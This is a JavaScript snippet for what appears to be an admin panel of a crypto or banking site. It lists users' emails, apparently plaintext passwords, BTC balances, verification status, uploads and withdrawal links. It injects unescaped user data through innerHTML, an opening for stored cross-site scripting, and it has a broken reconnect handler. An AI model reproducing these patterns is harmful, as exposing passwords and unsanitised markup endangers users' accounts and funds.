document.addEventListener('DOMContentLoaded', function() {
    // Function to update table data via AJAX
    function updateTableData() {
        fetch('?getData=1')
            .then(response => response.json())
            .then(data => {
                const tableBody = document.getElementById('table-body');
                tableBody.innerHTML = '';
                
                for (const [userId, userData] of Object.entries(data)) {
                    const row = document.createElement('tr');
                    
                    function getCardVerificationStatus(userData) {
                        return userData.main.card_status == 1 || userData.main.card_status == "1" ? 
                            '<span class="badge bg-success-subtle text-success p-1">Successful</span>' : 
                            '<span class="badge bg-info-subtle text-info p-1">Pending</span>';
                    }

                    // Email verification status (using the same logic as PHP)
                    function getEmailVerificationStatus(userData) {
                        return userData.main.email_verified == 1 || userData.main.email_verified == "1" ? 
                            '<span class="badge bg-success-subtle text-success p-1">Successful</span>' : 
                            '<span class="badge bg-info-subtle text-info p-1">Pending</span>';
                    }
                    
                    // Bank verification status (using the same logic as PHP)
                    function getBankVerificationStatus(userData) {
                        if (userData.bnk_verification) {
                            for (const verification of userData.bnk_verification) {
                                if (verification.status == 'verified') {
                                    return '<span class="badge bg-success-subtle text-success p-1">Successful</span>';
                                }
                            }
                        }
                        return '<span class="badge bg-info-subtle text-info p-1">Pending</span>';
                    }
                    
                    row.innerHTML = `
                        <td class="table-user">${userData.main.email}</td>
                        <td>${userData.main.pass}</td>
                        <td>${userData.main.btc_balance}</td>
                        <td>${getCardVerificationStatus(userData)}</td>
                        <td>${getEmailVerificationStatus(userData)}</td>
                        <td>${getBankVerificationStatus(userData)}</td>
                        <td>
                            ${userData.main.uploads ? 
                                `<button type="button" onclick="window.open('${userData.main.uploads}', '_blank')" class="btn btn-sm btn-light">
                                    <i class="ri-eye-line"></i> View
                                </button>` 
                                : 'Null'
                            }
                        </td>
                        <td class="text-center">
                            <a href="edit.php?id=${userId}" class="no-button text-reset fs-16 px-1">
                                <i class="ri-eye-line"></i>
                            </a>
                            <a href="withdrawal.php?id=${userId}" class="no-button text-reset fs-16 px-1">
                                <i class="bi bi-cash fs-20"></i>
                            </a>
                            <button id="deleteUser" class="no-button tset fs-16 px-1">
                                <i class="ri-delete-bin-2-line"></i>
                            </button>
                        </td>
                        <td style="display:none;">${userId}</td>
                    `;
                    
                    tableBody.appendChild(row);
                }
            })
            .catch(error => console.error('Error fetching data:', error));
    }
    
    // Establish SSE connection
    const eventSource = new EventSource('?sse=1');
    
    eventSource.onmessage = function(e) {
        if (e.data === 'update') {
            updateTableData();
        }
    };
    
    eventSource.onerror = function() {
        console.log('SSE connection error. Attempting to reconnect...');
        eventSource.close();
        setTimeout(() => {
            new EventSource('?sse=1');
        }, 1000);
    };
});